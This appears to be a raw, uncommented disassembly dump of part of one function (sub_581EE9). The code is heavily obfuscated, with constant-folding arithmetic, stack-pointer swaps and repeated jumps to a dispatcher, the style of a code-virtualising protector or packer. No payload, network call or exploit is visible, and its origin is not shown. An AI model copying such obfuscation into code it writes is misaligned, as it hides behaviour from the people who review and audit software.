sub_581EE9+19478j movzx eax, al push dword ptr [edi+eax*4] sub [esp-6EAEh+arg_6EA4+2], 53310945h push [esp-6EAEh+arg_6EA4+2] pop eax push 49E8h mov dword ptr [esp-6EAAh+arg_6EA2], edx jmp loc_5A195C ; --------------------------------------------------------------------------- loc_5A0A42: ; CODE XREF: sub_581EE9+1E33Fj or edx, 60C7527Ch sub edx, 1FFD3866h push esi mov esi, 0C66F0A99h jmp loc_59DC1B ; --------------------------------------------------------------------------- loc_5A0A59: ; CODE XREF: sub_581EE9+1E61Fj not ecx neg ecx push 13B9h mov [esp-6E64h+arg_6E5C], edx jmp loc_593992 ; --------------------------------------------------------------------------- loc_5A0A6A: ; CODE XREF: sub_581EE9+1423Fj mov ecx, 1BB811C4h mov edx, ecx pop ecx sub edx, 2379233Dh sub edx, 6F757EA2h inc edx xor edx, 0A7A940ECh add esi, edx pop edx pop eax xor esi, [esp-6E8Eh+arg_6E84+2] xor [esp-6E8Eh+arg_6E84+2], esi xor esi, [esp-6E8Eh+arg_6E84+2] mov esp, [esp-6E8Eh+arg_6E84+2] shl byte ptr [esp-6E8Eh+arg_6E84+2], cl pushf jmp loc_5A0B7C ; --------------------------------------------------------------------------- loc_5A0A9E: ; CODE XREF: sub_581EE9+1E248j shr ebp, 1 shl ebp, 7 add ebp, 20EB5604h jmp loc_5949BE ; --------------------------------------------------------------------------- loc_5A0AAE: ; CODE XREF: sub_581EE9+1DF43j mov [esp-6E88h+arg_6E80], ebp jmp loc_5995DC ; --------------------------------------------------------------------------- loc_5A0AB6: ; CODE XREF: sub_581EE9+25030j push edx push [esp-6E84h+arg_6E80] pop edx pop [esp-6E84h+arg_6E7C] pop esp mov [esp], ebp mov ebp, 233E11D6h jmp loc_594315 ; --------------------------------------------------------------------------- loc_5A0ACD: ; CODE XREF: sub_581EE9+11A90j mov ax, word ptr [esp-6EA0h+arg_6E96+2] add esp, 2 xor dl, 0EFh or bh, dl pop edx push 195h jmp loc_5949C8 ; --------------------------------------------------------------------------- loc_5A0AE7: ; CODE XREF: sub_581EE9+1D35Ej mov [esp-6E5Eh+arg_6E54+2], edx push ebx jmp loc_598A8C ; --------------------------------------------------------------------------- loc_5A0AF0: ; CODE XREF: sub_581EE9+1FE0Dj add eax, 0DE813D4h add eax, edx sub eax, 0DE813D4h pop edx jmp loc_59614C ; --------------------------------------------------------------------------- loc_5A0B02: ; CODE XREF: sub_581EE9+1F6A6j add esp, 4 push 61D9h mov [esp-6E5Eh+arg_6E54+2], edi jmp loc_5A46F3 ; --------------------------------------------------------------------------- loc_5A0B12: ; CODE XREF: sub_581EE9+1982Aj shr ebx, 4 sub ebx, 0D28C9982h xor ecx, ebx pop ebx not ecx jmp loc_5A36A5 ; --------------------------------------------------------------------------- loc_5A0B25: ; CODE XREF: sub_581EE9+23C51j pop [esp-6EACh+arg_6EA4] mov esp, [esp-6EB0h+arg_6EA8] push 482Bh mov [esp-6EACh+arg_6EA4], edx push 236Ch mov [esp-6EA8h+arg_6E9E+2], eax mov eax, esp push ebp mov ebp, 14F6200Bh sub ebp, 14F62007h add eax, ebp pop ebp sub eax, 4 xchg eax, [esp-6EA8h+arg_6E9E+2] pop esp mov [esp-6EACh+arg_6EA4], ecx mov ecx, 7867001Ah push ebx jmp loc_59E356 ; --------------------------------------------------------------------------- loc_5A0B63: ; CODE XREF: sub_581EE9+2136Bj pop esp jmp loc_59D5FF ; --------------------------------------------------------------------------- loc_5A0B69: ; CODE XREF: sub_581EE9+1C640j and ebp, eax mov eax, [esp-6E6Eh+arg_6E64+2] add esp, 4 shr ebp, 7 jmp loc_59631B ; --------------------------------------------------------------------------- loc_5A0B7C: ; CODE XREF: sub_581EE9+1EBB0j jmp loc_591F70 ; --------------------------------------------------------------------------- loc_5A0B81: ; CODE XREF: sub_581EE9+14346j mov esi, 4DA806F7h sub eax, esi mov esi, [esp-6EA0h+arg_6E96+2] add esp, 4 add eax, 33904B70h add eax, edx jmp loc_5976C3 ; --------------------------------------------------------------------------- loc_5A0B9D: ; CODE XREF: sub_581EE9+1C87Aj push 4BD7h mov [esp], edi push 4 pop edi add eax, 33A87197h add eax, edi sub eax, 33A87197h pop edi add eax, 2 xor eax, [esp+0] xor [esp+0], eax xor eax, [esp+0] mov esp, [esp+0] rol word ptr [esp+0], cl pushf jmp loc_591F70 ; --------------------------------------------------------------------------- loc_5A0BD3: ; CODE XREF: sub_581EE9+20CD3j push esi sub esp, 4 mov [esp-6E84h+arg_6E7C], esp add [esp-6E84h+arg_6E7C], 4 pop esi add esi, 4 jmp loc_5996BD ; --------------------------------------------------------------------------- loc_5A0BED: ; CODE XREF: sub_581EE9+1E0B2j push esi mov esi, esp add esi, 4 jmp loc_59DE6A ; --------------------------------------------------------------------------- loc_5A0BFB: ; CODE XREF: sub_581EE9+12099j shr ecx, 7 jmp loc_59BD61 ; --------------------------------------------------------------------------- loc_5A0C03: ; CODE XREF: sub_581EE9+10A3Aj push ebx mov ebx, 24h add ebx, edi jmp loc_59460F ; --------------------------------------------------------------------------- loc_5A0C10: ; CODE XREF: sub_581EE9+1AE83j push 2AE65195h jmp loc_5A6EF6 ; --------------------------------------------------------------------------- loc_5A0C1A: ; CODE XREF: sub_581EE9+12C31j add ebx, 4 add ebx, 2 xor ebx, [esp-6E6Ch+arg_6E64] xor [esp-6E6Ch+arg_6E64], ebx xor ebx, [esp-6E6Ch+arg_6E64] mov esp, [esp-6E6Ch+arg_6E64] xor word ptr [esp-6E6Ch+arg_6E64], ax pushf jmp loc_5A4F0D ; --------------------------------------------------------------------------- loc_5A0C39: ; CODE XREF: sub_581EE9+20371j pop [esp-6E68h+arg_6E60] mov esp, [esp-6E6Ch+arg_6E64] push [esp-6E6Ch+arg_6E64] mov eax, [esp-6E68h+arg_6E60] sub esp, 4 jmp loc_598E32 ; --------------------------------------------------------------------------- loc_5A0C4D: ; CODE XREF: sub_581EE9+21BCEj pop ebp jmp loc_5968BE ; --------------------------------------------------------------------------- loc_5A0C53: ; CODE XREF: sub_581EE9+1B4C3j shl cl, 4 add cl, 4Dh sub cl, al pop eax xor cl, bh pop ebx add cl, 1 not cl jmp loc_5A4326 ; --------------------------------------------------------------------------- loc_5A0C69: ; CODE XREF: sub_581EE9+1A4B8j not ebx dec ebx xchg ecx, ebx push esi mov esi, 0FFFFFFFFh sub ecx, esi pop esi xchg ecx, ebx not ebx jmp loc_5A2E20 ; --------------------------------------------------------------------------- loc_5A0C80: ; CODE XREF: sub_581EE9+15AF8j mov ecx, 3EAE1B76h shr ecx, 3 shl ecx, 5 xor ecx, 25439691h sub eax, ecx pop ecx sub esi, 17132310h sub esi, eax push eax mov eax, 58FD68EAh not eax xor eax, 4D7A16FFh inc eax add eax, 8D50DCEh add eax, 23C59357h jmp loc_5A6F34 ; --------------------------------------------------------------------------- loc_5A0CB9: ; CODE XREF: sub_581EE9+187D2j sub ecx, 6B002891h jmp loc_59E5D4 ; --------------------------------------------------------------------------- loc_5A0CC4: ; CODE XREF: sub_581EE9+144AEj push 70B5h jmp loc_5A5CCC ; --------------------------------------------------------------------------- loc_5A0CCE: ; CODE XREF: sub_581EE9+15543j add edx, 4 push ecx jmp loc_5A5842 ; --------------------------------------------------------------------------- loc_5A0CDA: ; CODE XREF: sub_581EE9+1BFC1j sub ebp, 201765D0h add ebp, edx add ebp, 201765D0h push edi jmp loc_599E3C ; --------------------------------------------------------------------------- loc_5A0CEE: ; CODE XREF: sub_581EE9+2122Ej mov al, 0DBh jmp loc_59C6F0 ; --------------------------------------------------------------------------- loc_5A0CF5: ; CODE XREF: sub_581EE9+17B3Fj xor [esp-6E92h+arg_6E8A], ecx xor ecx, [esp-6E92h+arg_6E8A] mov esp, [esp-6E92h+arg_6E8A] and byte ptr [esp-6E92h+arg_6E8A], al pushf jmp loc_591F70 ; --------------------------------------------------------------------------- loc_5A0D07: ; CODE XREF: sub_581EE9+1DAF7j mov [esp-6E46h+arg_6E3E], eax push 62B0h jmp loc_5A6836 ; --------------------------------------------------------------------------- loc_5A0D14: ; CODE XREF: sub_581EE9+243A5j shl esi, 5 jmp loc_5A3CE1 ; --------------------------------------------------------------------------- loc_5A0D1C: ; CODE XREF: sub_581EE9+201AEj pop edi add esp, 4 jmp loc_5A15ED ; --------------------------------------------------------------------------- loc_5A0D28: ; CODE XREF: sub_581EE9+24275j sub ecx, 465F2B5Ah jmp loc_5A64B8 ; --------------------------------------------------------------------------- loc_5A0D33: ; CODE XREF: sub_581EE9+2176Aj add esp, 4 add al, dh mov edx, [esp-6E4Eh+arg_6E44+2] sub esp, 4 mov [esp+0], ebx mov ebx, esp add ebx, 4 add ebx, 4 xchg ebx, [esp+0] jmp loc_595A03 ; --------------------------------------------------------------------------- loc_5A0D5A: ; CODE XREF: sub_581EE9+1FE2Cj pop ecx add eax, edx mov edx, [esp-6E4Eh+arg_6E44+2] add esp, 4 xor eax, [esp-6E52h+arg_6E48+2] xor [esp-6E52h+arg_6E48+2], eax xor eax, [esp-6E52h+arg_6E48+2] mov esp, [esp-6E52h+arg_6E48+2] inc byte ptr [esp-6E52h+arg_6E48+2] pushf jmp loc_591F70 ; --------------------------------------------------------------------------- loc_5A0D7B: ; CODE XREF: sub_581EE9+1A68Dj push ebx mov bh, dl mov cl, bh pop ebx mov bl, cl pop ecx jmp loc_5A636B ; --------------------------------------------------------------------------- loc_5A0D89: ; CODE XREF: sub_581EE9+1C78Bj sub dh, 0DAh add cl, dh mov edx, [esp-6EA6h+arg_6E9E] jmp loc_5A3648 ; --------------------------------------------------------------------------- loc_5A0D96: ; CODE XREF: sub_581EE9+1526Bj xor al, 58h xor dl, al jmp loc_59D047 ; --------------------------------------------------------------------------- loc_5A0D9F: ; CODE XREF: sub_581EE9+1148Fj push edx jmp loc_59735E ; --------------------------------------------------------------------------- loc_5A0DA5: ; CODE XREF: sub_581EE9+20454j pop esi push ebp mov ebp, 300E0608h inc ebp xor ebp, 11494412h jmp loc_59FBB7 ; --------------------------------------------------------------------------- loc_5A0DB8: ; CODE XREF: sub_581EE9+1ABDBj mov eax, esp jmp loc_595449 ; --------------------------------------------------------------------------- loc_5A0DBF: ; CODE XREF: sub_581EE9+11A1Dj neg ebx add ebx, 0ECF1DF7h jmp loc_5997B2 ; --------------------------------------------------------------------------- loc_5A0DCC: ; CODE XREF: sub_581EE9+20DEEj xor esi, [esp-6EA2h+arg_6E9A] jmp loc_593E1B ; --------------------------------------------------------------------------- loc_5A0DD4: ; CODE XREF: sub_581EE9+14DF3j mov edi, [esp-6E72h+arg_6E68+2] add esp, 4 jmp loc_59643F ; --------------------------------------------------------------------------- loc_5A0DDF: ; CODE XREF: sub_581EE9+20FFCj push 7ABCh mov [esp-6E72h+arg_6E68+2], eax push esp pop eax push ecx jmp loc_5978D8 ; --------------------------------------------------------------------------- loc_5A0DEF: ; CODE XREF: sub_581EE9+109E8j sub ebx, 4 xchg ebx, [esp-6EC4h+arg_6EBA+2] pop esp mov [esp-6EC8h+arg_6EBE+2], edx push ebx mov bl, 9Eh jmp loc_596E5E ; --------------------------------------------------------------------------- loc_5A0E04: ; CODE XREF: sub_581EE9+22D6Aj dec edx sub edx, 0CE0B9B3Bh jmp loc_5A2694 ; --------------------------------------------------------------------------- mov cx, word ptr [esp-6EC4h+arg_6EBA+2] push edx push 1557h push esp jmp loc_5A6F4A ; --------------------------------------------------------------------------- loc_5A0E20: ; CODE XREF: sub_581EE9+1195Bj shl edi, 7 jmp loc_59FDDE ; --------------------------------------------------------------------------- loc_5A0E28: ; CODE XREF: sub_581EE9+1C319j dec edx jmp loc_5A19E1 ; --------------------------------------------------------------------------- loc_5A0E2E: ; CODE XREF: sub_581EE9+1CB16j xor eax, ecx xor ecx, eax jmp loc_592D4D ; --------------------------------------------------------------------------- loc_5A0E37: ; CODE XREF: sub_581EE9+1022Ej mov [esp-6EA8h+arg_6E9E+2], esi jmp loc_5A6BC4 ; --------------------------------------------------------------------------- loc_5A0E3F: ; CODE XREF: sub_581EE9+13D44j mov eax, [esp-6E8Ch+arg_6E84] add esp, 4 sub al, 4Eh add al, ch add al, 4Eh jmp loc_59E5A0 ; --------------------------------------------------------------------------- loc_5A0E50: ; CODE XREF: sub_581EE9+1C34Ej neg eax sub eax, 0D83218h shl eax, 7 jmp loc_59DC87 ; --------------------------------------------------------------------------- loc_5A0E5F: ; CODE XREF: sub_581EE9+1988Aj pop ebp inc edi shr edi, 5 sub esp, 4 mov [esp-6E7Ah+arg_6E72], edx jmp loc_5A35AA ; --------------------------------------------------------------------------- loc_5A0E6F: ; CODE XREF: sub_581EE9+1C7E4j xor edx, 7C8D0131h or edi, edx jmp loc_59D18F ; --------------------------------------------------------------------------- loc_5A0E7C: ; CODE XREF: sub_581EE9+17646j xor ebp, 0ECF3E6FCh push esi mov esi, 6E8E3FF7h xor ebp, esi jmp loc_593C5D ; --------------------------------------------------------------------------- loc_5A0E8F: ; CODE XREF: sub_581EE9+1F5FFj mov edi, esp add edi, 4 sub edi, 4 xchg edi, [esp-6E4Eh+arg_6E44+2] pop esp mov [esp-6E52h+arg_6E48+2], esi sub esp, 4 mov [esp-6E4Eh+arg_6E44+2], edx jmp loc_598F20 ; --------------------------------------------------------------------------- loc_5A0EAF: ; CODE XREF: sub_581EE9+24352j mov ebp, [esp-6E4Eh+arg_6E44+2] add esp, 4 xchg edx, [esp-6E52h+arg_6E48+2] pop esp mov [esp-6E56h+arg_6E4C+2], edi push 0F30A1C0h push [esp-6E52h+arg_6E48+2] pop edi push 4AA2h mov [esp-6E4Eh+arg_6E44+2], edx push esp pop edx add edx, 4 push esi mov esi, 4 jmp loc_59848D ; --------------------------------------------------------------------------- loc_5A0EE3: ; CODE XREF: sub_581EE9+1BF54j mov eax, 27FD3FBFh jmp loc_5A5650 ; --------------------------------------------------------------------------- loc_5A0EED: ; CODE XREF: sub_581EE9+18B9Aj push [esp-6E44h+arg_6E3A+2] pop ebx push 6C5Bh mov [esp-6E40h+arg_6E36+2], ebp mov ebp, esp push edx push ebp mov ebp, 2F980C74h shl ebp, 4 add ebp, 0D075E4Ch shl ebp, 5 sub ebp, 889232F9h push ebp pop edx pop ebp shl edx, 4 and edx, 2D443C1Ah sub edx, 504280Ch jmp loc_593441 ; --------------------------------------------------------------------------- loc_5A0F2B: ; CODE XREF: sub_581EE9+11541j mov esi, 6BE35245h push ebx mov ebx, 3D68BD0Bh sub esi, 632C664Eh jmp loc_599D39 ; --------------------------------------------------------------------------- loc_5A0F41: ; CODE XREF: sub_581EE9+19F90j mov esp, [esp-6E76h+arg_6E6E] mov [esp-6E76h+arg_6E6E], edx sub esp, 4 mov [esp-6E72h+arg_6E68+2], esi mov esi, 1EEF5BF5h mov edx, 2E591FA3h shl edx, 4 or edx, 2D424EFCh xor edx, 0F33C8509h sub edx, esi jmp loc_5A6509 ; --------------------------------------------------------------------------- loc_5A0F70: ; CODE XREF: sub_581EE9+15C7Dj pop esp sub dh, al add dh, 4Ah sub dh, 4Dh mov eax, [esp-6E98h+arg_6E8E+2] add esp, 4 push cx jmp loc_598022 ; --------------------------------------------------------------------------- loc_5A0F89: ; CODE XREF: sub_581EE9+1CFD3j add ebp, 6D0DF1F1h and eax, ebp push [esp-6EA2h+arg_6E9A] pop ebp add esp, 4 push dword ptr [edi+1Ch] jmp loc_5A5311 ; --------------------------------------------------------------------------- loc_5A0FA3: ; CODE XREF: sub_581EE9+142D2j shr edx, 3 sub edx, 52834B71h jmp loc_597CE3 ; --------------------------------------------------------------------------- loc_5A0FB1: ; CODE XREF: sub_581EE9+24FA0j mov [esp-6E9Eh+arg_6E96], eax mov eax, 3BF64149h sub esp, 4 mov [esp-6E9Ah+arg_6E92], ebp mov ebp, 66166223h inc ebp dec ebp inc ebp not ebp jmp loc_59F4B4 ; --------------------------------------------------------------------------- loc_5A0FD1: ; CODE XREF: sub_581EE9+18473j pop edx jmp loc_59919B ; --------------------------------------------------------------------------- loc_5A0FD7: ; CODE XREF: sub_581EE9+23A27j pop esi push edx push [esp-6EA2h+arg_6E9E] pop edx jmp loc_594FE2 ; --------------------------------------------------------------------------- loc_5A0FE3: ; CODE XREF: sub_581EE9+1F793j mov ebp, eax pop eax jmp loc_5A5309 ; --------------------------------------------------------------------------- loc_5A0FEB: ; CODE XREF: sub_581EE9+23E43j add edi, ecx pop ecx jmp loc_5A6ABD ; --------------------------------------------------------------------------- loc_5A0FF3: ; CODE XREF: sub_581EE9+225B4j add ebp, 59DC63C4h mov eax, dword ptr [esp-6EAAh+arg_6EA2] add esp, 4 sub ebp, 5D004E6Dh jmp loc_59D188 ; --------------------------------------------------------------------------- loc_5A100A: ; CODE XREF: sub_581EE9+1A53Fj shr eax, 10h jmp loc_591FD4 ; --------------------------------------------------------------------------- loc_5A1012: ; CODE XREF: sub_581EE9+13F4Fj push ebx jmp loc_59CC96 ; --------------------------------------------------------------------------- mov cx, word ptr [esp-6E70h+arg_6E68] push ebx mov ebx, esp push edi mov edi, 562B573Eh dec edi push 23D1h jmp loc_5A5D31 ; --------------------------------------------------------------------------- loc_5A1030: ; CODE XREF: sub_581EE9+19CC7j sub edi, edx pop edx and edi, 63382784h sub edi, 39BB157Ah sub esi, edi jmp loc_59BB1D ; --------------------------------------------------------------------------- loc_5A1046: ; CODE XREF: sub_581EE9+1C189j sub esp, 4 mov [esp-6E94h+arg_6E8A+2], edx push cx mov ch, 2Dh mov dh, ch pop cx add dh, 1 push ecx mov cl, 0C3h xor cl, 0AFh xor cl, 0DEh add dh, cl jmp loc_59C9B8 ; --------------------------------------------------------------------------- loc_5A1067: ; CODE XREF: sub_581EE9+161B2j mov esp, [esp-6EA0h+arg_6E96+2] push [esp-6EA0h+arg_6E96+2] jmp loc_5933E5 ; --------------------------------------------------------------------------- mov esp, [esp-6E9Ch+arg_6E92+2] jmp loc_591F70 ; --------------------------------------------------------------------------- loc_5A107A: ; CODE XREF: sub_581EE9+18A57j sub ebp, 1BBE09F3h sub esi, ebp jmp loc_5A641E ; --------------------------------------------------------------------------- loc_5A1087: ; CODE XREF: sub_581EE9+18C94j add edx, 14075D14h sub edx, 1B6CBFE9h jmp loc_59CAEB ; --------------------------------------------------------------------------- loc_5A1098: ; CODE XREF: sub_581EE9+15DE4j not ebp not ebp push esi mov esi, 16321DC5h add ebp, esi mov esi, dword ptr [esp-6EAAh+arg_6EA2] add esp, 4 jmp loc_5948DE ; --------------------------------------------------------------------------- loc_5A10B2: ; CODE XREF: sub_581EE9+14911j xor ebx, esi jmp loc_597742 ; --------------------------------------------------------------------------- loc_5A10B9: ; CODE XREF: sub_581EE9+1444Aj add ebp, 10964F06h pop esi push 51ADh mov [esp-6EAEh+arg_6EA4+2], ecx mov ecx, 55512ABEh xor ecx, 454B5673h neg ecx add ecx, 39536A3Dh add ecx, 78184348h jmp loc_5963D5 ; --------------------------------------------------------------------------- loc_5A10E6: ; CODE XREF: sub_581EE9+1C1F1j pop esi mov edx, [esp+0] add esp, 4 and [edi+1Ch], esi push [esp-6E94h+arg_6E8A+2] mov esi, [esp+0] push 48Bh mov [esp-6E8Ch+arg_6E84], ebx push esp mov ebx, [esp-6E88h+arg_6E80] add esp, 4 jmp loc_59841A ; --------------------------------------------------------------------------- loc_5A110D: ; CODE XREF: sub_581EE9+1C02Fj push esi push edx mov edx, 17D22AA4h mov esi, edx pop edx shr esi, 8 xor esi, 5A89DCA6h or eax, esi pop esi jmp loc_597C06 ; --------------------------------------------------------------------------- loc_5A1128: ; CODE XREF: sub_581EE9+1FECFj mov ebx, esp add ebx, 4 add ebx, 2 xchg ebx, [esp-6E7Ah+arg_6E72] pop esp add al, 60h add al, ch sub al, 60h jmp loc_593C23 ; --------------------------------------------------------------------------- loc_5A1142: ; CODE XREF: sub_581EE9+15490j mov al, ch pop ecx jmp loc_5A4B51 ; --------------------------------------------------------------------------- loc_5A114A: ; CODE XREF: sub_581EE9+170D8j push ebx mov ebx, 485A30F8h add eax, ebx pop ebx xor eax, 0A742CEF2h sub esp, 4 jmp loc_59C37F ; --------------------------------------------------------------------------- loc_5A1160: ; CODE XREF: sub_581EE9+1795Fj mov [edi+eax*4], cl pop ecx pop edx jmp loc_594297 ; --------------------------------------------------------------------------- loc_5A116A: ; CODE XREF: sub_581EE9+1E116j mov ebx, 0CA91E87h jmp loc_596F67 ; --------------------------------------------------------------------------- loc_5A1174: ; CODE XREF: sub_581EE9+1C170j xor ch, bh jmp loc_59BB47 ; --------------------------------------------------------------------------- loc_5A117B: ; CODE XREF: sub_581EE9+1166Cj neg esi push edi jmp loc_593FAE ; --------------------------------------------------------------------------- loc_5A1183: ; CODE XREF: sub_581EE9+13F31j sub eax, 26D2834Dh jmp loc_5A3BB6 ; --------------------------------------------------------------------------- loc_5A118D: ; CODE XREF: sub_581EE9+1FE6Bj mov [esp+0], ebp mov ebp, 2 jmp loc_5A6751 ; --------------------------------------------------------------------------- loc_5A119A: ; CODE XREF: sub_581EE9+1634Cj add esi, 4 jmp loc_5A6E46 ; --------------------------------------------------------------------------- loc_5A11A5: ; CODE XREF: sub_581EE9+15FF5j mov edx, 56637FFAh mov ebx, edx jmp loc_59E00D ; --------------------------------------------------------------------------- loc_5A11B1: ; CODE XREF: sub_581EE9+1BD38j shr edx, 4 or edx, 4A9C4A42h push eax mov eax, 59FD1CB4h jmp loc_59D30E ; --------------------------------------------------------------------------- loc_5A11C5: ; CODE XREF: sub_581EE9+12F33j push edx push [esp-6EA0h+arg_6E9A+2] pop edx pop [esp-6EA0h+arg_6E96+2] pop esp add esi, 4 xor esi, [esp-6EA8h+arg_6E9E+2] xor [esp-6EA8h+arg_6E9E+2], esi xor esi, [esp-6EA8h+arg_6E9E+2] mov esp, [esp-6EA8h+arg_6E9E+2] add [esp-6EA8h+arg_6E9E+2], eax pushf jmp loc_591F70 ; --------------------------------------------------------------------------- loc_5A11EA: ; CODE XREF: sub_581EE9+15BE0j sub di, 0FFFFh xor di, 5E3Dh add ax, 6A3Fh add ax, di sub ax, 6A3Fh jmp loc_59531E ; --------------------------------------------------------------------------- loc_5A1203: ; CODE XREF: sub_581EE9+1A3DDj add esp, 4 jmp loc_5927D8 ; --------------------------------------------------------------------------- loc_5A120B: ; CODE XREF: sub_581EE9+131D0j pop esp mov [esp-6EA2h+arg_6E9A], ecx jmp loc_5A6B26 ; --------------------------------------------------------------------------- loc_5A1214: ; CODE XREF: sub_581EE9+12784j jmp loc_591F70 ; --------------------------------------------------------------------------- loc_5A1219: ; CODE XREF: sub_581EE9+1EA21j add eax, edx jmp loc_59DFC4 ; --------------------------------------------------------------------------- loc_5A1220: ; CODE XREF: sub_581EE9+12AD0j push cx mov cx, 694Bh xor di, cx pop cx push 6A21h jmp loc_59B784 ; --------------------------------------------------------------------------- loc_5A1235: ; CODE XREF: sub_581EE9+1D064j mov ebp, 4 push ebp jmp loc_592A52 ; --------------------------------------------------------------------------- loc_5A1240: ; CODE XREF: sub_581EE9+2316Ej jmp loc_591F70 ; --------------------------------------------------------------------------- loc_5A1245: ; CODE XREF: sub_581EE9+11D64j add ebx, edx sub ebx, 7816DF4h jmp loc_59619E ; --------------------------------------------------------------------------- loc_5A1252: ; CODE XREF: sub_581EE9+1D076j push ebp push 1D4Ah mov [esp-6E76h+arg_6E6E], esp add [esp-6E76h+arg_6E6E], 4 pop ebp add ebp, 4 push ebx push 301Fh mov [esp-6E72h+arg_6E68+2], ecx mov ecx, 487A16E5h mov ebx, 487A16E9h sub ebx, ecx pop ecx sub ebp, ebx pop ebx xchg ebp, [esp-6E7Ah+arg_6E72] mov esp, [esp-6E7Ah+arg_6E72] mov [esp-6E7Ah+arg_6E72], edx push 31FAh mov [esp-6E76h+arg_6E6E], esp push ecx mov ecx, esp jmp loc_5A06ED ; --------------------------------------------------------------------------- loc_5A1298: ; CODE XREF: sub_581EE9+18AC1j add ebp, eax mov eax, [esp-6E94h+arg_6E8A+2] add esp, 4 sub [esp-6E98h+arg_6E92+2], 7370255Dh sub [esp-6E98h+arg_6E92+2], 7955653Ah add [esp-6E98h+arg_6E92+2], ebp add [esp-6E98h+arg_6E92+2], 7955653Ah add [esp-6E98h+arg_6E92+2], 7370255Dh jmp loc_59C72B ; --------------------------------------------------------------------------- loc_5A12CC: ; CODE XREF: sub_581EE9+153F8j pop ebp sub edx, 358BA776h mov ecx, 0DB48DA3Ch add ecx, edx pop edx or ecx, 1A8A5B8Eh xor ecx, 62DE227Dh jmp loc_5A13BF ; --------------------------------------------------------------------------- loc_5A12EC: ; CODE XREF: sub_581EE9+1D695j push eax mov eax, 75EE7DA4h neg eax neg eax shr eax, 6 neg eax or eax, 351C77BCh push ebx jmp loc_5A5F39 ; --------------------------------------------------------------------------- loc_5A1306: ; CODE XREF: sub_581EE9+24530j sub eax, ebp mov ebp, [esp-6EB0h+arg_6EA8] add esp, 4 jmp loc_59F992 ; --------------------------------------------------------------------------- loc_5A1316: ; CODE XREF: sub_581EE9+20326j and edi, edx pop edx sub edi, 1F4B70BBh shl edi, 2 sub edi, 65F5682Bh add edi, 6B780938h mov ebx, edi pop edi push ebp mov ebp, 5B635515h shl ebp, 4 xor ebp, 438C0623h and ebp, 95865F5h xor ebp, 31D6128Eh jmp loc_59EA0B ; --------------------------------------------------------------------------- loc_5A1351: ; CODE XREF: sub_581EE9+1EACAj add al, 0BBh mov ch, al pop eax sub al, ch mov ecx, [esp-6EC0h+arg_6EB6+2] push ecx mov ecx, esp push 2DC7h mov [esp+0], edi mov edi, 4 add ecx, edi pop edi push ebx mov ebx, 4 add ecx, ebx jmp loc_59DC93 ; --------------------------------------------------------------------------- loc_5A137B: ; CODE XREF: sub_581EE9+1FC22j sub ecx, ebx add ecx, 5CB83432h pop ebx sub esp, 4 mov [esp+0], edx mov edx, 0F512846h xor ecx, edx jmp loc_5A5CC3 ; --------------------------------------------------------------------------- loc_5A1396: ; CODE XREF: sub_581EE9+1970Cj push 0CA833B7h pop eax jmp loc_59BBB5 ; --------------------------------------------------------------------------- loc_5A13A1: ; CODE XREF: sub_581EE9+19B24j shl dh, 5 push cx mov cl, 0F5h add dh, 0D0h add dh, cl sub dh, 0D0h pop cx sub al, 8Ch sub al, 0Dh sub al, 3Fh add al, dh jmp loc_593935 ; --------------------------------------------------------------------------- loc_5A13BF: ; CODE XREF: sub_581EE9+1F3FEj mov edx, ecx pop ecx push ecx mov ecx, 5C7059AEh sub edx, ecx pop ecx jmp loc_597F1F ; --------------------------------------------------------------------------- loc_5A13D0: ; CODE XREF: sub_581EE9+1C7D2j add esp, 4 add edx, eax push ebp mov ebp, 514C4E1Ah add edx, 62DD7859h jmp loc_59230D ; --------------------------------------------------------------------------- loc_5A13E9: ; CODE XREF: sub_581EE9+1DD94j mov bl, dh mov ah, bl pop ebx pop edx push ebx mov bh, ah push eax jmp loc_5950C9 ; --------------------------------------------------------------------------- loc_5A13F8: ; CODE XREF: sub_581EE9+1F7F5j pop ebp dec edi add edi, 612F6DB8h sub edi, 0C6B6265Fh add esi, edi jmp loc_59A0D1 ; --------------------------------------------------------------------------- loc_5A140D: ; CODE XREF: sub_581EE9+11E81j pop ebx sub esp, 4 mov [esp-6E8Eh+arg_6E84+2], edx push 2CB6h mov [esp-6E8Ah+arg_6E80+2], esp jmp loc_592C8D ; --------------------------------------------------------------------------- loc_5A1421: ; CODE XREF: sub_581EE9+12E92j xor eax, ebp push dword ptr [esp+0] mov ebp, [esp-6EB4h+arg_6EAC] jmp loc_593F5E ; --------------------------------------------------------------------------- loc_5A142E: ; CODE XREF: sub_581EE9+156B4j sub [esp-6E88h+arg_6E80], esi pop esi push esi dec [esp-6E88h+arg_6E80] jmp loc_599938 ; --------------------------------------------------------------------------- loc_5A143B: ; CODE XREF: sub_581EE9+13FD5j pop edx sub edx, 0ABE57CBh pop edi sub edx, ebx jmp loc_59A785 ; --------------------------------------------------------------------------- loc_5A144A: ; CODE XREF: sub_581EE9+1A99Fj add eax, 65F55616h add eax, 37935C31h mov edi, [esp-6E9Eh+arg_6E96] add esp, 4 xor eax, [esp-6EA2h+arg_6E9A] xor [esp-6EA2h+arg_6E9A], eax xor eax, [esp-6EA2h+arg_6E9A] mov esp, [esp-6EA2h+arg_6E9A] jmp loc_5A6EAB ; --------------------------------------------------------------------------- loc_5A146B: ; CODE XREF: sub_581EE9+1B56Dj pop ebx add eax, 2 jmp loc_5A4DBC ; --------------------------------------------------------------------------- loc_5A1474: ; CODE XREF: sub_581EE9+1CEF6j add eax, ebp pop ebp mov esi, eax pop eax jmp loc_59672B ; --------------------------------------------------------------------------- loc_5A147F: ; CODE XREF: sub_581EE9+1E77Aj mov bl, 37h add al, bl pop ebx xor al, 0D2h add dh, 4Dh push ax jmp loc_59646F ; --------------------------------------------------------------------------- loc_5A1490: ; CODE XREF: sub_581EE9+15F2Bj add [esp-6E6Eh+arg_6E64+2], 4 pop eax push 4ABAh mov [esp-6E6Eh+arg_6E64+2], esi mov esi, 4B053264h jmp loc_59DBC2 ; --------------------------------------------------------------------------- loc_5A14AA: ; CODE XREF: sub_581EE9+10691j xor edx, [esp-6EB4h+arg_6EAC] xor [esp-6EB4h+arg_6EAC], edx jmp loc_59F851 ; --------------------------------------------------------------------------- loc_5A14B5: ; CODE XREF: sub_581EE9+1B546j push ecx mov ch, dl mov bh, ch pop ecx push [esp-6E72h+arg_6E68+2] pop edx push ecx mov ecx, esp add ecx, 4 add ecx, 4 xchg ecx, [esp-6E6Eh+arg_6E64+2] pop esp jmp loc_59E9EB ; --------------------------------------------------------------------------- loc_5A14D4: ; CODE XREF: sub_581EE9+215D5j xor ebx, [esp-6E72h+arg_6E68+2] pop esp mov [esp-6E76h+arg_6E6E], edx mov edx, 2D1C48F5h shr edx, 1 jmp loc_599C37 ; --------------------------------------------------------------------------- 